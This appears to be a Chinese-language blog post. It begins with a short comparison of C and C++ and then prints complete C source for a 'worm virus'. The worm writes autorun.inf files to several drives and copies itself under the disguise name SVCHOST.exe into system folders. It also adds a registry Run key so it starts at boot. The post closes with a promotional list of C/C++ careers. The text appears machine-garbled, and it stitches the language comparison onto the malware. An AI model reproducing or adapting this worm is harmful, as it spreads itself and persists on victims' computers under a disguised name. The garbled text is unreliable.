C語言是面向過程的,而C++是面向物件的
C和C++的區別:
C是一個結構化語言,它的重點在於演算法和資料結構。C程式的設計首要考慮的是如何透過一個過程,對輸入(或環境條件)進行運算處理得到輸出(或實現過程(事務)控制)。
C++,首要考慮的是如何構造一個物件模型,讓這個模型能夠契合與之對應的問題域,這樣就可以透過獲取物件的狀態資訊得到輸出或實現過程(事務)控制。 所以C與C++的最大區別在於它們的用於解決問題的思想方法不一樣。之所以說C++比C更先進,是因為“ 設計這個概念已經被融入到C++之中 ”。
C與C++的最大區別:在於它們的用於解決問題的思想方法不一樣。之所以說C++比C更先進,是因為“ 設計這個概念已經被融入到C++之中 ”,而就語言本身而言,在C中更多的是演算法的概念。那麼是不是C就不重要了,錯!演算法是程式設計的基礎,好的設計如果沒有好的演算法,一樣不行。而且,“C加上好的設計”也能寫出非常好的東西。
// VirusProjss。cpp : 界說節制臺應用軌範的進口點。
//
// C說話開發蠕蟲病毒
#include “stdafx。h”
#include
#include
#include
#define SVCHOST_NUML 6
char *autorun = { “[autorun] open=SVCHOST。exe shell\1=翻開 shell\1 \Command=SVCHOST。exe shell\2\=Open shell\2\Command=SVCHOST。exe shellexecute=SVCHOST。exe” };
char *files_autorun[10] = { “c:\autorun。inf”, “d:\autorun。inf”, “e:\autorun。inf” };
char *files_svchost[SVCHOST_NUML + 1] = { “c:\windows\system\MSMOUSE。DLL”,
“c:\windows\system\SVCHOST。exe”, “c:\windows\SVCHOST。exe”,
“c:\SVCHOST。exe”, “d:\SVCHOST。exe”, “e:\SVCHOST。exe”, “SVCHOST。exe” };
char *regadd = “reg add ”HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run“ /v SVCHOST /d C:\Windows\system\SVCHOST。exe /f”;
// 資料檔案複製功能
int DataCopy(char *pInFile, char *pOutFile)
{
FILE *fInput, *fOutput;
char temp;
if (strcmp(pInFile, pOutFile) != 0 && ((fInput = fopen(pInFile, “rb”)) != NULL) && ((fOutput = fopen(pOutFile, “wb”)) != NULL))
{
while (!feof(fInput))
{
fread(&temp, 1, 1, fInput);
fwrite(&temp, 1, 1, fOutput);
}
fclose(fInput);
fclose(fOutput);
return 0;
}
else
return 1;
}
void TestingVirusFunc()
{
FILE *input, *output;
int i, k;
for (i = 0; i < 3; i++)
{
output = fopen(files_autorun[i], “w”);
fprintf(output, “%s”, autorun);
fclose(output);
}
for (i = 0; i <= SVCHOST_NUML; i++)
{
if ((input = fopen(files_svchost[i], “rb”)) != NULL)
{
fclose(input);
for (k = 0; k < SVCHOST_NUML; k++)
{
DataCopy(files_svchost[i], files_svchost[k]);
}
i = SVCHOST_NUML + 1;
}
}
system(regadd); // 註冊svchost。exe,讓其在開機時主動啟動
}
int _tmain(int argc, _TCHAR* argv[])
{
TestingVirusFunc();
return 0;
}
運轉了局如下:
這些是C/C++能做的
伺服器開發工程師、人工智慧、雲計算工程師、資訊保安(駭客反駭客)、大資料 、資料平臺、嵌入式工程師、流媒體伺服器、資料控解、影象處理、音訊影片開發工程師、遊戲伺服器、分散式系統、遊戲輔助等